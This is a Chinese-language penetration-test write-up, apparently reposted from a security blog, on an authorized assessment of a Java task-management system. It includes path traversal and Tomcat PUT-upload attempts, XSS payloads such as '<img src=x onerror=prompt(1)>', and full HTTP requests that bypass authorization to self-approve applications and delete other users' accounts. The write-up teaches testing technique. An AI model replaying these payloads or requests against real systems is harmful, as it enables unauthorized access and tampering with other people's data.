聲明：本人所分享内容僅用于網安愛好者之間的技術讨論，禁止用于違法途徑，所有滲透都需擷取授權！否則需自行承擔，本人及原作者不承擔相應的後果！
記錄一個 Java 系統的漏洞挖掘，系統的主要的問題是沒有做越權防護，其他漏洞暫時沒有挖到，有點菜，先記錄着吧，每天進步一點，總會變強的。
系統介紹
系統是一個 Java 寫的自動化測試系統，不同角色之間做不同的事情，上司申請任務，稽核同意，上司把任務派發給下屬，下屬執行測試任務，同時也有一些下載下傳報告，上傳檔案之類的操作，但是由于國光我比較菜，這些功能點并沒有挖到什麼漏洞，是以這裡就不再贅述了。
系統本身需要登入才可以進去使用，使用的是統一認證的登入界面，登入成功然後跳轉到對應系統的，是以這裡給了測試賬号來進行測試，下面是本次測試所使用的 3 個測試賬号資訊：
為了保證客戶系統的安全性，這些賬号資訊是經過國光二次修改的。下面國光這裡大概解釋一下這 3 個角色的作用：
測試人員
主要發起一些測試任務，有上傳壓縮包、APK 等功能，同樣也可以下載下傳測試報告，有賬戶餘額，一些功能操作會積分，可以用餘額去購買積分。
中層上司
可以發起申請給自己團隊添加人員，可以删除和恢複自己的下屬成員，可以申請團隊經費用于配置設定給下屬成員進行測試使用
稽核人員
主要負責處理一些上司層那邊發起的稽核，類似于 HR，也可以将集團成員劃分到某某部門，配置設定不同的職責
當然功能比我叙述的還要多一點，國光隻能夠叙述個大概，這裡做了解一下就好。
測試彎路
以下都是國光測試中走的彎路，實際上都沒有研究出什麼成果，還是太菜了，但是還是記錄一下吧：
任意檔案上傳
在使用測試人員在進行功能測試的時候是可以指定上傳 zip 或者 apk 的格式的，當然隻是前段限制了上傳的格式，抓包替換還是可以輕松過掉這個限制的，但是上傳啥字尾的檔案都不解析，點選直接就下載下傳了，jsp 的測試檔案也是如此，感覺沒有什麼作用就放棄了繼續測試上傳。
任意檔案下載下傳
點選之前上傳的附件是可以任意檔案下載下傳的，浏覽器複制下載下傳連結發現是通過指定子產品來實作下載下傳功能的，嘗試../../../../../index.jsp 沒有成功，應該是做了些過濾，所有的下載下傳功能點都是使用的同一個子產品，是以最後也就放棄了，沒有測試成功。
Tomcat PUT
Burpsuite 檢視網站傳回包，發現存在 apache-coyote/1.1 字段，說明網站是 Toomcat 搭建的，于是想嘗試一下 Tomcat CVE-2017-12615 PUT 寫檔案 漏洞，首先使用 OPTIONS 方法檢測網站是否支援 PUT 方法，結果傳回包裡面居然真的顯示 PUT 方法，有點小激動，感覺可以直接 getshell 了，嘗試 PUT 方法截斷：
PUT /test.jsp/ HTTP/1.1
PUT /test.jsp%20 HTTP/1.1
PUT /test.jsp::$DATA HTTP/1.1
evil.jsp%20 evil.jsp::$DATA evil.jsp/ 但是傳回 403，并不是想象中的 201 Created，GG，果斷通路去看下 Tomcat 的 404 報錯頁面，發現版本為：7.09x 吐血 這個版本恰好修複了這個漏洞了，逃 感覺測試其他漏洞去，再這樣下去今天就是 0 個漏洞了。
SQL 注入
測試了很多功能點，很多 URL 解碼後檢視内容類似如下：
tableName=taskname&data={"columns":"id","user_name","task_name";"filter":"測試資料","start_time","stop_time"} 可以看到思路是先直接查出所有的結果，然後再使用過濾條件來講使用者需要的結果給使用者，查詢所有資料沒有可互動的點，而使用者的輸入資料在 filter 過濾器這邊，這邊相當于從靜态結果資料中抽出資料顯示給前端使用者檢視。基本上涉及到查詢的語句都是如此，國光這裡測試了好多無果，SQLmap 也嘗試跑了起來，也是 GG，又浪費了很多時間，看來今天真的的要 0 洞了。
XSS
XSS 前端過濾了不讓輸入敏感字元，但是 Burpsuite 改包還是可以很容易繞過的，但是檢視改包後端 傳回包，指定了 JSON 格式：
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP=CAO PSA OUR
Content-Type: application/json;charset=UTF-8 這樣就導緻了 XSS 語句無法直接觸發，雖然通過古老的 IE 浏覽器，配置一些安全政策可以讓 XSS 在 JSON 中觸發，這樣也太水了吧。前端基本上所有界面都是如下的樣子，通過類似表格一樣的界面輸出來，雖然顯示了 XSS 攻擊語句完好，但是實際審查元素發現，是以的标簽都被實體化輸出了
吐血，時間已經過去一大半了，看樣子今天真的要 0 洞了
漏洞記錄
天無絕人之路，有時候多點耐心，注意一些細節還是有希望的，接着沉下心來，帶着我的 SONY 頭戴降噪耳機，打開手機聽着國光的滲透測試代碼審計必備歌單 果然下面漏洞就一個個挖到了。
XSS 1
利用類似曆史記錄下拉框的操作可以實作 XSS，雖然 XSS 前端都被實體化輸出了，但是曆史記錄的下拉框這裡沒有實體化輸出，還是可以成功執行 JS 的，有點類似于 Self-XSS 的感覺，但是我換了不同的浏覽器登入測試了，這個下拉框 XSS 居然還存在，很迷，說明曆史記錄也存入到資料庫中了，然後點選搜尋框的時候會從資料庫中調用資料，造成 XSS 漏洞的産生，這裡又有點類似于存儲型 XSS 了，隻是攻擊的是自己～～不管了 這個就算是一個漏洞吧。
測試使用的賬号如下：
在測試人員工作台中選擇系統新增，添加一個系統基本資訊，正常添加的話，系統名稱這裡是不允許使用一些非法字元的：
前端依然過濾不讓輸入敏感字元，然後 BP 直接改包插入 XSS Payload，我使用的 Payload 如下：
{"items":[{"mxVirtualId":"C8BC3B43-C06A-AEBF-7848-5A4BADCC36A7","appname":<img src=x onerror=prompt(1)>","versionname":"1"}]} 為什麼使用冷門的 prompt 來彈窗呢，是因為 居然有 XSS 過濾，過濾掉了 alert，吓了我一跳，還好過濾規則不嚴格，否則我可能真的得嘗試好久了，最後插入成功後，點選系統名稱的 input 視窗，就會彈窗，類似于存儲 XSS 效果一樣，無法被關掉：
實際上這種 XSS 還是比較多的，很容易被開發者忽視，幾個月前挖過中國移動的一個對外開放的外網資産也存在這種 XSS。
XSS 2
b 可以故意在 xls 表格裡面插入帶有攻擊的語句，當 c 稽核的時候可以成功觸發 XSS 跨站腳本漏洞。
測試使用的賬号如下：
中層上司注冊子賬号的時候需要将要注冊的賬号填入表格中，然後發起申請，首先構造一個使用者名是一個 XSS 攻擊驗證語句的表格内容:
我這裡使用的 XSS Payload 如下：
xsspayload<img src=x onerror=confirm(1)> 這裡用 confirm 來代替被過濾的 alert
然後 c 這邊看到了 b 的申請後，然後填寫一些基本資訊，點選稽核，即可成功觸發 b 故意留下的 XSS 攻擊語句：
可以看到上方的 1 已經彈出了，最後來看一下這個 XSS 為什麼可以成功觸發，關鍵在于提示使用者不存在的這個彈窗沒有對 XSS 進行轉義就直接輸出來了：
越權 1
b 送出注冊子賬号申請的時候，可以不經過 c 的稽核操作，直接自己給自己稽核通過。
測試使用的賬号如下：
b 注冊子賬号送出申請，送出申請後提示資訊已經發送，b 此時的檢視剛剛送出申請狀态為：待稽核狀态。
c 賬号登入，這邊檢視到剛剛 b 發起的申請了，狀态也是為待稽核。這個功能沒有啥問題，繼續測試，發現 b 有一個催辦的功能，抓包看看：
POST /xxx/xxxService/rest/batchRegistration/updateButton?rnd=0.9688799541603235 HTTP/1.1
Host: 10.85.222.221
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.85.222.221/xxx/xxxService/main/index.jsp
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 22
Cookie: JSESSIONID=bbbbbbbbbbbbbbbbbbbbbbbbbbb;
Connection: close
{"id":358,"state":"4"} 可以看到關鍵的資訊如下：
{"id":358,"state":"4"} state 這個參數為 4，結合上面洩露的 state 資訊（某一個傳回包洩露的）：
符合我們的猜測，嘗試手動修改為：
{"id":358,"state":"2"} b 這邊已經可以看到稽核通過了：
c 這邊檢視待稽核的清單中，之前的待稽核的申請已經消失了，表名稽核已經成功了。
越權 2
a 用自己的權限可以直接把 b 的下屬成員直接删掉
b 登入背景，首先來看下下屬賬号管理的情況：
賬号均正常。
a 使用者登入，抓取測試人員的 Cookie 如下：
Cookie: JSESSIONID=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 利用這個 Cookie 身份，Burp 抓包構造一個删除下屬成員的請求，具體的資料報如下：
POST /xxx/xxxService/rest/xxxpmainsub/updateFlag?rnd=0.6873779200540744 HTTP/1.1
Host: 10.85.222.221
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.85.222.221/xxx/xxxService/main/index.jsp
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Cookie: SESSIONID=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Content-Length: 99
Connection: close
{"mainId":"8ad55e5d6dde8910016e6cba05370368","subId":"8ad55e5d6dde8910016e6e0b00ed0378","flag":"1"} 傳回包裡面顯示删除成功了：
使用 b 進背景檢視下是否成功删掉，可以看到的确下屬成員被直接删掉了：
目前狀态為待恢複狀态，表明 a 越權做了 b 該做的事情，成功将機關負責人的下屬成員删掉了。
小結
其他還有類似的越權漏洞以及一些特定的傳回包中洩露伺服器實體路徑資訊等我這裡就不在贅述了，本文實際上沒有啥技術含量，以後再測試這種類似的系統的時候，可以多嘗試下越權，越權可以用同一個 Cookie 身份去測試其他角色可以執行的操作，如果可以成功執行，基本上是存在垂直越權漏洞的，很多系統的 SQL 注入這類的攻擊基本上都防禦的差不多得了，但是由于開發混亂，越權這塊不一定都解決的很好，也算是是一個思路吧。
文章來源：烏雲安全